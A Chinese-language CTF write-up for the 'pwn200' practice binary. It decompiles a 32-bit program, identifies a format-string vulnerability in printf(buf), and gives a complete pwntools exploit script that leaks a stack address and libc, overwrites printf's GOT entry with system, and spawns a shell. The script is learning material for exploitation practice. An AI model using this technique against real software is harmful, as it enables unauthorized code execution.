实验平台:
x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/FormatString/pwn200
checksec pwne
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
很好,没开PIE。用IDA反编译:
int __cdecl main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
core_main();
return 0;
}
unsigned int core_main()
{
char v1; // [esp+1Bh] [ebp-4Dh]
char buf[64]; // [esp+1Ch] [ebp-4Ch] BYREF
unsigned int v3; // [esp+5Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
memset(buf, 0, sizeof(buf));
while ( 1 )
{
puts("WANT PLAY[Y/N]");
if ( getchar() != 'Y' )
break;
v1 = getchar();
while ( v1 != '\n' && v1 )
;
puts("GET YOUR NAME:\n");
read(0, buf, 0x40u);
LOBYTE(v3) = 0;
puts("WELCOME ");
printf(buf);
puts("GET YOUR AGE:\n");
read(0, buf, 64u);
if ( atoi(buf) > 60 )
puts("OLD MEN!\n");
}
return __readgsdword(0x14u) ^ v3;
}
发现有格式化字符串漏洞。还是那一套,泄漏libc基址,上system。
但是这里面没有缓冲区溢出,要想通过格式化字符串漏洞改,就得知道栈的地址。虽然没开PIE,但是栈的地址也是会随机化的。
经过GDB调试发现用%p
printf输出的就是格式化字符串的地址,这样栈的地址就知道了。其他的就非常普通简单了,思路在前面的文章中都教学过。可参见代码。
answer.py
:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math
context(arch = "i386",os = "linux", log_level = "debug")
p = process('./pwne')
elf = ELF('./pwne')
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
p.sendline("%p\n\x00")
p.recvuntil("WELCOME \n")
buf_shift = int(p.recvuntil("\n"), 16)
ret_addr = buf_shift + 0x50
p.sendline("10")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
printf_got = elf.got['printf']
main_sym = 0x80485CD
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7,
{
ret_addr: puts_plt
}
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7,
{
ret_addr + 4: main_sym
}
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7,
{
ret_addr + 8: puts_got
}
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("NY")
puts_libc = u32(p.recv(4))
print(hex(puts_libc))
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
print("base libc: %s" % hex(libc_base))
system_libc = libc_base + libc.dump('system')
print("system libc: %s" % hex(system_libc))
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7, {printf_got: system_libc})
p.sendline(payload)
p.sendline("10")
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.sendline("/bin/sh")
p.interactive()
参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78699413